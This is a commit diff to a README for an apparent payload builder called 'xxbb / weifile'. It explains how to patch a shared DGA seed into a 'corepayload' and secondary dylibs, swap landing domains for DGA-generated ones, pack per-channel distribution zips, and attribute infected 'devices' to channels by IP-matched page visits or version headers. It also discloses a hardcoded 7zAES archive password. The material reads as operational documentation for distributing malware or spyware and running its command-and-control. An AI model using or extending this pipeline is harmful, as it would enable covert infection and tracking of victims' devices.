feat: new channel
This commit is contained in:
@@ -5,7 +5,8 @@ xxbb / weifile builder for coruna-lab. Separate from `channel-builder/`
|
||||
|
||||
`c` is a **shared DGA seed** (env `XXBB_CHANNEL_C`). After deploy, domains do
|
||||
not change, so `c` cannot tell channels apart. Per-channel identity is the
|
||||
8-char landing code (e.g. `FAFA9988`) packed into `index.js`.
|
||||
**version-format** id (exactly 6 chars like `2.2.66` / `A.B.C1`, alnum + dots)
|
||||
patched into core `ver` / `sdkv` / `jbsdk_version`.
|
||||
|
||||
## 1. Build once (shared artifacts)
|
||||
|
||||
@@ -28,44 +29,33 @@ php artisan xxbb:build --channel-c=<32-hex>
|
||||
|
||||
Writes:
|
||||
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **template published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged**
|
||||
|
||||
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
|
||||
|
||||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||||
`CACACACA` is left in place for per-channel packing.
|
||||
|
||||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env` so
|
||||
device ingest can recognize the shared native field.
|
||||
Prints `XXBB_CHANNEL_C=…` and the domain list. Put that `c` in `.env`.
|
||||
|
||||
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`.
|
||||
|
||||
## 2. Pack on channel create
|
||||
|
||||
Admin create (8-char id) runs `tools/pack_channel.py`:
|
||||
Admin create (id like `A.B.C1`) runs:
|
||||
|
||||
1. Copy staged weifile
|
||||
2. Replace `CACACACA` in `index.js` with the channel id
|
||||
3. Zip to `public/channel-source-new/{CHANNELID}.zip`
|
||||
1. `tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force` (always; **no random**)
|
||||
2. `tools/pack_channel.py` into `public/channel/{ver}/`
|
||||
|
||||
```bash
|
||||
.venv/bin/python tools/pack_channel.py \
|
||||
--channel-code FAFA9988 \
|
||||
--zip-out ../public/channel-source-new/FAFA9988.zip
|
||||
```
|
||||
|
||||
If staged weifile is missing: run step 1 first (`php artisan xxbb:build`).
|
||||
|
||||
Delete a new channel removes that zip only (shared `/details` stays).
|
||||
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
|
||||
(ops / refresh shared `/details`); channel create already builds from env.
|
||||
|
||||
## Device attribution
|
||||
|
||||
- **Old channels:** payload `c` is the 32-hex `channel_id`
|
||||
- **New channels:** payload `c` is the shared seed. On device create, match
|
||||
`PageVisit` by IP in the last 30 minutes (`XXBB_VISIT_MATCH_MINUTES`). Use
|
||||
that visit’s `channelCode` as `channel_id`, and store the landing domain on
|
||||
`devices.source_domain`.
|
||||
- **New channels:** payload `c` is the shared seed. Core routes (`/a`, `/u`,
|
||||
`/event`) set `channel_id` from request header `ver` or `sdkv` when present
|
||||
and valid (`X.Y.ZZ`). Other xxbb routes create the device without writing
|
||||
`channel_id`. Stats use `t.js` → `/statistic/t` with id from the path
|
||||
`/channel/{id}/...`.
|
||||
|
||||
| Flag | What it replaces | Where |
|
||||
|------|------------------|--------|
|
||||
@@ -73,3 +63,4 @@ Delete a new channel removes that zip only (shared `/details` stays).
|
||||
| `--reporting-seed` | Reporting DGA seed slot | secondary dylibs (1 hit each) |
|
||||
| `--channel-c` | Native report / DGA `c` | each secondary (1) + corepayload (6) |
|
||||
| `--random-c` | Generate a new `--channel-c` | lab_seeds.json + domains |
|
||||
| `--channel-ver` | Core `2.2.66` string | corepayload (pack only) |
|
||||
|
||||
Reference in New Issue
Block a user